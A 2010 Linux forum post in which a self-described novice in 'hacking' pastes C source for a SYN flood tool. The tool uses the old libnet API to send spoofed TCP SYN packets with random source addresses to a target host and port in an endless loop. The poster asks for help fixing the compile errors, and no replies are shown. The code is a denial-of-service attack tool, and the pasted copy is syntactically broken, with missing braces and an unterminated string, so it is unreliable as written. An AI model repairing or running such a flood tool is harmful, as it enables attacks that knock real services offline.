Find the answer to your Linux question:
Results 1 to 1 of 1
ok im a noob to linux and to programming and hacking i need someone to help me... ok i try to compile this source code: #include <libnet.h> #define FLOOD_DELAY 5000 ...
Enjoy an ad free experience by logging in. Not a member yet? Register.
  1. #1
    Just Joined!
    Join Date
    Dec 2010

    Exclamation Need help with comilation errors in source code PLZ!

    ok im a noob to linux and to programming and hacking i need someone to help me... ok i try to compile this source code:

    #include <libnet.h>
    #define FLOOD_DELAY 5000 // Delay between packet injects by 5000 ms.

    /* Returns an IP in x.x.x.x notation */
    char *print_ip(u_long *ip_addr_ptr) {
    return inet_ntoa( *((struct in_addr *)ip_addr_ptr) );

    int main(int argc, char *argv[]) {
    u_long dest_ip;
    u_short dest_port;
    u_char errbuf[LIBNET_ERRBUF_SIZE], *packet;
    int opt, network, byte_count, packet_size = LIBNET_IP_H + LIBNET_TCP_H;

    if(argc < 3)
    printf("Usage:\n%s\t <target host> <target port>\n", argv[0]);

    dest_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE); // The host
    dest_port = (u_short) atoi(argv[2]); // The port

    network = libnet_open_raw_sock(IPPROTO_RAW); // Open network interface.
    if (network == -1)
    libnet_error(LIBNET_ERR_FATAL, "can't open network interface. -- this program must run as root.\n");
    libnet_init_packet(packet_size, &packet); // Allocate memory for packet.
    if (packet == NULL)
    libnet_error(LIBNET_ERR_FATAL, "can't intialize packet memory.\n");

    libnet_seed_prand(); // seed the random number generator.

    printf(SYN Flooding port %d of %s..\n", dest_port, print_ip(&dest_ip));
    while(1) // loop forever (until break by CTRL-C)

    libnet_build_ip(LIBNET_TCP_H, // Size of the packet sans IP header.
    libnet_get_prand(LIBNET_PRu16, // IP ID (randomized)
    0, // Frag stuff
    libnet_get_prand(LIBNET_PR, // TTL (randomized)
    IPPROTO_TCP, // Transport protocol
    libnet_get_prand(LIBNET_PRu32), // Source IP (randomized)
    dest_ip, // Destination IP
    NULL, // Payload (none)
    0, // Payload length
    packet); // Packet header memory

    libnet_build_tcp(libnet_get_prand(LIBNET_PRu16), // Source TCP port (random)
    dest_port, // Destination TCP port
    libnet_get_prand(LIBNET_PRu32), // Sequence number (randomized)
    libnet_get_prand(LIBNET_PRu32), // Acknowledgement
    TH_SYN, // Control flags (SYN flag set only)
    libnet_get_prand(LIBNET_PRu16), // Window size (randomized)
    0, // Urgent pointer
    NULL, // Payload (none)
    0, // Payload length
    packet + LIBNET_IP_H); // Packet header memory

    if (libnet_do_checksum(packet, IPPROTO_TCP, LIBNET_TCP_H) == -1)
    libnet_error(LIBNET_ERR_FATAL, "can't compute checksum\n");

    byte_count = libnet_write_ip(network, packet, packet_size); //Inject packet.
    if (byte_count < packet_size)
    libnet_error(LIBNET_ERR_WARNING, "Warning: Incomplete packet written. (%d of %d bytes)",
    byte_count, packet_size);

    usleep(FLOOD_DELAY); // Wait for FLOOD_DELAY milliseconds.

    libnet_destroy_packet(&packet); // Free packet memory.

    if (libnet_close_raw_sock(network) == -1) // Close the network interface.

    libnet_error(LIBNET_ERR_WARNING, "can't close network interface.");

    return 0;

    i try to compile this code with these commands in the terminal: gcc $(libnet-config --defines) -o synflood synflood.c -lnet

    and i get these errors:

    error: 'LIBNET_IP_H' Undeclared, LIBNET_ERR_FATAL undeclared, too few arguments to function 'libnet_seed_prand', 'SYN' Undeclared, and expected declaration or statement at end of input

    can someone plz help me...remember i am a noob at this stuff and new to this forum plz help me thank you. i really need the help thanx guys.
    Attached Images Attached Images

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts